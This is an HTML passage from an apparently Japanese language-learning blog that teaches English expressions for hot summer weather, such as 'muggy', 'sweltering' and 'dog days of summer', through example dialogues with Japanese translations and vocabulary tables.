<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">ビーチにいるような気分でいよう、リラックスしよう</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_curly_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff8e6"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff8e6 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I really like your Stay Beachy T! It gives me a chillax vive.</strong><br>そのStay Beachy Tシャツいいね！チルが漂ってる</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Brat Summer</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>brat summer</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>チャーリーXCX</strong>のアルバム「<strong>Brat（2024年）</strong>」から派生したライフスタイルトレンド。夏とは特に関係ないのですが、常識や期待に縛られず、自由に楽しく個性を大切に生き方を指す造語。自己肯定や自信を表現する際に使用</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffecdf"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffecdf transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I kinda like Anne’s brat summer looks. It’s all about being unapologetcally herself this summer.</strong><br>俺、アンのブラット・サマーな感じが好きなんだ。この夏は自分らしさを遠慮なく表現するんだって</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:34px;height:auto"/></figure>


<table style="height: 171px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>water sports</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">マリンスポーツ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to the max</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">思い切り、最大限に</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>get caught up in</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"> ～に夢中になる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>escape to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に逃避する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>tan lines</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">日焼け跡</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>flip flop</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ビーチサンダル</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>catch some waves</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">サーフィンを楽しむ</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:65px;height:auto"/></figure>



<h2 class="wp-block-heading">暑さの種類を表す英語表現<br>(Different Ways to Say &#8220;Hot&#8221; in English)</h2>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="452" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-selective-focus-young-couple-sitting-electric-fan-living-room.jpg?resize=678%2C452&#038;ssl=1" alt="" class="wp-image-4516" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-selective-focus-young-couple-sitting-electric-fan-living-room.jpg?w=1024&amp;ssl=1 1024w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-selective-focus-young-couple-sitting-electric-fan-living-room.jpg?resize=300%2C200&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-selective-focus-young-couple-sitting-electric-fan-living-room.jpg?resize=768%2C512&amp;ssl=1 768w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>知っていると便利な暑さを伝える英単語やフレーズをたくさんご紹介します。様々な形容詞で暑さのレベルを表現してみましょう！</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Hot：暑い</h4>



<p>基本の「暑い」。気温や天候を語る場合、形式主語のItを使用します。程度を表す副詞や比較表現を使用して、暑さの程度を強調します。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>It’s hot today, isn’t it?</strong><br>今日は暑いね</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/lucia_knit_L1-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d1e8f6"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d1e8f6"></span><span class="vk_balloon_content_after "></span>
<p><strong>It’s very hot outside.</strong><br>外はとても暑い</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_glasses_people_woman_teenager_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff5f5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff5f5 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>It&#8217;s way too hot today.</strong><br>今日は暑すぎる</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_long_hair_beautiful_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff8e5"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff8e5"></span><span class="vk_balloon_content_after "></span>
<p><strong>This summer has been the hottest I&#8217;ve ever experienced.</strong><br>今年の夏は今まで経験した中で一番暑い</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Humid：湿度が高い、蒸し暑い</h4>



<p>湿度が高くむしむしして不快な状態。よくhotとセットで使用されます。</p>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d8ebe4"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d8ebe4 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Summer in Japan is so hot and humid.</strong><br>日本の夏は蒸し暑い</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_young_female_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>My hair is getting frizzy because of the humidity.</strong><br>湿気のせいで髪が広がっちゃう</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Muggy：蒸し暑い</h4>



<p>Humidよりカジュアルな表現</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff2f2"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff2f2 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>What a muggy day! I love dry summer!</strong><br>なんて蒸し暑いの?! 湿気のない夏が好きなのに</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Sweltering：うだるように暑い、蒸し暑い、地獄のように暑い</h4>



<p>単に暑いだけでなく、蒸し暑さや不快なまでの暑さを表現する際に使用します。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_female_curl_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff9e8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff9e8 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>It was on a sweltering hot day that I first visited New York.</strong><br>初めてニューヨークに行ったのは、うだるような暑い日だったの</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Damp： 湿気のある</h4>



<p>空気が少し重く感じるたり、湿気がある場所や物について説明する際に使用します。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal  has-text-color has-cyan-bluish-gray-color" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_hood-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color has-white-background-color vk_balloon_content-border-true has-text-color has-cyan-bluish-gray-color"><span class="vk_balloon_content_before  has-text-color has-white-color"></span><span class="vk_balloon_content_after  has-text-color has-cyan-bluish-gray-color"></span>
<p><strong>The weather today is so damp!</strong><br>今日はとてもじめじめした天気だね！</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Dog Days of Summer：盛夏、猛暑</h4>



<p>夏のうち最も暑い時期を指す表現。おおいぬ座のシリウス(Dog Star)が、7〜8月中旬（南半球では1〜2月中旬）にかけて日の出と共に現れ日の入りと共に沈むことに由来。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_handsome_2-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>It’s been over 35 degrees this week. The dog days of summer has come.</strong><br>今週、35度以上の日が続いてるね。猛暑だね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Brutal Heat：耐えられないほどの厳しい暑さ</h4>



<p>Heatには熱の他に暑さという意味があります。過酷な、耐えがたい、半端ない、という形容詞brutalと使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_hat_ear_piercing-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d2daf9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d2daf9 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The Brutal Heat will hit Tokyo next week.</strong><br>来週パネー厳しい暑さが東京にやってくるんだって</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Deadly Heat：死に至るほどの暑さ</h4>



<p>命にかかわるような、死を招くような、致命的な、という形容詞deadlyと使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_ginger_curly_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>We are experiencing deadly heat this summer.</strong><br>今年の夏は致命的な暑さだね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_ear_piercing-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f8dbc7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f8dbc7 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>A deadly heat wave hits the area.</strong><br>命に関わる猛暑がこの地域を襲った</p>
</div></div></div>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="32" height="38" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/53f464fa1e0771e76f47a784a039a1e1.png?resize=32%2C38&#038;ssl=1" alt="" class="wp-image-5057"/></figure>



<h4 class="wp-block-heading">Life-threatening Heat：生命を脅かすような暑さ</h4>



<p>生命を脅かすような、という形容詞Life-threateningを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal  has-text-color has-cyan-bluish-gray-color" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_young_face-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color has-white-background-color vk_balloon_content-border-true has-text-color has-cyan-bluish-gray-color"><span class="vk_balloon_content_before  has-text-color has-white-color"></span><span class="vk_balloon_content_after  has-text-color has-cyan-bluish-gray-color"></span>
<p><strong>We are now having life-threatening heat outside.</strong><br>外は生命を脅かすような暑さだよ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Excessive Heat：過度の暑さ、極暑<br></h4>



<p>過度の、極端な、という形容詞excessiveを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_young_female_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d4fffe"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d4fffe transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>This excessive heat got me exhausted.</strong><br>猛暑のせいでクタクタだよ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Extreme Heat：極暑、猛暑</h4>



<p>Extreme極度の、極端な、という形容詞excessiveを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_ear_piercing-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#cdffeb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #cdffeb transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The Meteorological Agency issued an extreme heat alert yesterday.</strong><br>昨日、気象庁が猛暑警報を出したよね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Fierce Heat：猛暑</h4>



<p>Fierce激しい、猛烈な、という形容詞excessiveを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d4efff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d4efff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>We had cooler weather for July last week but the fierce heat came back.</strong><br>先週は7月にしては涼しかったのに、また猛暑が戻ってきたね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Intense Heat：激しい暑さ</h4>



<p>強烈な、猛烈な、という形容詞intenseを使用することで暑さのレベルがアップします。</p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/girl_female_curl_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f0e5fa"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f0e5fa transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>The temperature is more than 40 degrees Celsius. We feel oppressed by the intense heat.</strong><br>今日、気温は40度を超えている。我々は猛暑に苦しめられている</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Boiling Hot：うだるように暑い</h4>



<p>Boilは茹でるという動詞。うだるような、という形容詞boilingを使用することで暑さのレベルがアップします。</p>



